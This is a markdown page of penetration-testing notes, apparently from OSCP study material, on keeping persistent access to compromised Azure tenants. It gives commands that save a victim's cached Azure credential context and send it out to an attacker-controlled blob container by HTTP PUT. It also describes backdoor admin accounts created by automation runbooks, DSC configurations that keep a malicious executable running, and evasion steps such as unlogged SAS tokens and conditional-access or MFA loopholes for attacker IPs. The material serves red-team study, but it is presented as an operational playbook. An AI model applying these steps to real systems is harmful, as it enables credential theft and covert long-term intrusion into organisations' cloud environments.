oscp/Necronomicon/Cloud/Azure/Persistence.md

• Credentials

  • https://www.lares.com/blog/hunting-azure-admins-for-vertical-escalation/
  • Check C:\Users\%USERNAME%.Azure for cached credentials from Az CLI or Powershell cmdlets
    • Bypasses MFA/Oauth/Conditional access
  • NOTE: For OPSEC, prevent Azure context from being automatically saved for a local user:
    • Disable-AzContextAutosave -Scope CurrentUser
  • Check validity of existing credentials
    • Get-AzSubscription
    • az account list
  • Save current Azure context
    • Save-AzContext -Path azureprofile.json
    • 7z a azureprofile.zip azureprofile.json
  • Exfiltrate to Blob Container
    • HTTPie
      • http PUT "<blob_container_url>" "@azureprofile.zip" "x-ms-blob-type: BlockBlob"
    • PowerShell
      • Invoke-WebRequest -Method 'PUT' -Uri '<blob_container_url>' -OutFile 'azureprofile.zip' -Headers @{"x-ms-blob-type"="BlockBlob"}
  • Download exfiltrated file
    • Invoke-WebRequest -Uri "<blob_container_url>" -OutFile azureprofile.zip
  • Extract
    • 7z e azureprofile.zip
  • Import authentication context
    • Import-AzContext -Path .\azureprofile.json
  • Verify
    • Get-AzResourceGroup

• Virtual Machines

  • Opening management ports is typically ill-advised, but one option is to specify an Azure service tag as the source when opening the port (such as RDP or SSH).
    • Example: modifying a network security group to allow RDP/SSH from the AzureCloud or AzureCloud.UKSouth service tag looks less suspicious while still allowing connections from any Azure node matching that range
  • Add a managed identity
    • Can be done in Azure Portal
    • Add to system or user
    • Assign additional rights to the managed identity at subscription/management group and/or Azure AD for persistence
    • User-assigned (using an existing user with permissions we want) may be less noisy as it won't need more permissions added afterward.

• Automation account

  • Desired State Configuration (DSC)
    • Reverts systems to a "desired configuration" if that configuration ever should change
    • Simply have your "desired state" be "running my malicious EXE"
    • Azure Persistence with Desired State Configurations (netspi.com)
    • Process:
      • Add target VM as DSC node to Automation account service
      • Upload configuration
      • Compile configuration
      • Assign configuration to VM
      • Wait for DSC to indicate the node is out of compliance and run the correction script
    • Example config:
      • "File should exist at C:\testfile.exe"
      • "A process should be running from that path"
      • "If either condition is not satisfied, correct it"
    • Very well-hidden in the Azure interface and a lesser-known feature, so it may fly under the radar
  • Automation Run as accounts
    • Maintaining Azure Persistence via Automation Accounts (netspi.com)
    • Example process:
      • Assign Run as account a privileged Azure AD role (Global/User Admin)
      • Create runbook that adds a new user (with known password) to Azure AD tenant
      • Assign new user privileged role in Azure AD
      • Use new user as short-term channel to access Azure AD
    • Consider using a webhook to trigger persistence

• Maintaining access to PaaS services

  • Best targets are data stores or secret stores such as SQL dbs, storage accoutns, container registries, and key vaults
  • Can persist on a public endpoint, but must add an IP address and this is noisy
    • Can add a Firewall exception (such as to Azure SQL) to allow access to "Azure services and resources"; this allows public IPs from other organizations provided they are in Azure. Use with caution and probably only with SQL and not for services with networking restrictions
  • Persistence to platform services
    • Generating Shared Access Signature (SAS) tokens is not explicitly logged in Activity Log - good option for Azure Storage
    • Can always add RBAC role assignments to a backdoor user too

• Azure AD persistence

  • Creating new principals probably raises more alerts than modifying existing
  • Creating a new user
    • Requires microsoft.directory/users/create permission (User Administrator, Global Administrator, Directory Writers)
    • For naming, try to emulate the target organization but consider if alternate naming schemes (alternate domains) might bypass MFA (Okta)
    • Review audit logs to determine if the identity you're using is normally used to create Azure AD user accounts
  • Creating service principal
    • ALL non-guest users can create service principals by default
    • If that default permission is disabled, microsoft.directory/servicePrincipals/create permission is needed
      • Application Administrator, Application Developer, Cloud Application Administrator
    • Great for bypassing MFA/conditional access/privileged identity management (not blocked or not supported)
  • Creating guest user
    • Depends on "Collaboration restrictions" - might be able to invite users from any domain (outlook, gmail, etc.) or only from specified ones
    • By default, any user or guest user can be used to invite external identities into the tenant
    • Some orgs may place conditional access policies on guest accounts; consider bypassing/disabling
  • Modifying existing identities
    • Look for existing disabled identities, enable them, and reset password.
      • microsoft.directory/users/enable - User Administrator, Global Administrator
      • Azure AD built-in roles - Azure Active Directory - Microsoft Entra | Microsoft Learn
    • Add a secret/password to an existing service principal
      • microsoft.directory/servicePrincipals/credentials/update - Application Administrator, Hybrid Identity Administrator, Global Administrator
    • Granting privileges to an identity
      • Add to privileged group
        • If assigned-membership type - add identity to a privileged group manually
        • If dynamic user membership type, either modify rules so they include our backdoor identity or modify identity to fit existing rules
      • Assign identity to privileged roles
        • Requires microsoft.directory/roleAssignments/allProperties/allTasks
          • Global Administrator, Privileged Role Administrator
        • Consider if Privileged Identity Management (PIM) is in use
          • If so, use an active assignment for the backdoor identity instead of an eligible one that requires activation
        • If Azure Blueprint is in use, must create a definition, publish, and then assign.
  • Ensuring access by bypassing security policies
    • Create conditional access loopholes for backdoor identities
    • Add attacker IP as trusted in conditional access
    • Add attacker IP as trusted for MFA
    • Use subcription-level persistence to work with existing Azure AD restrictions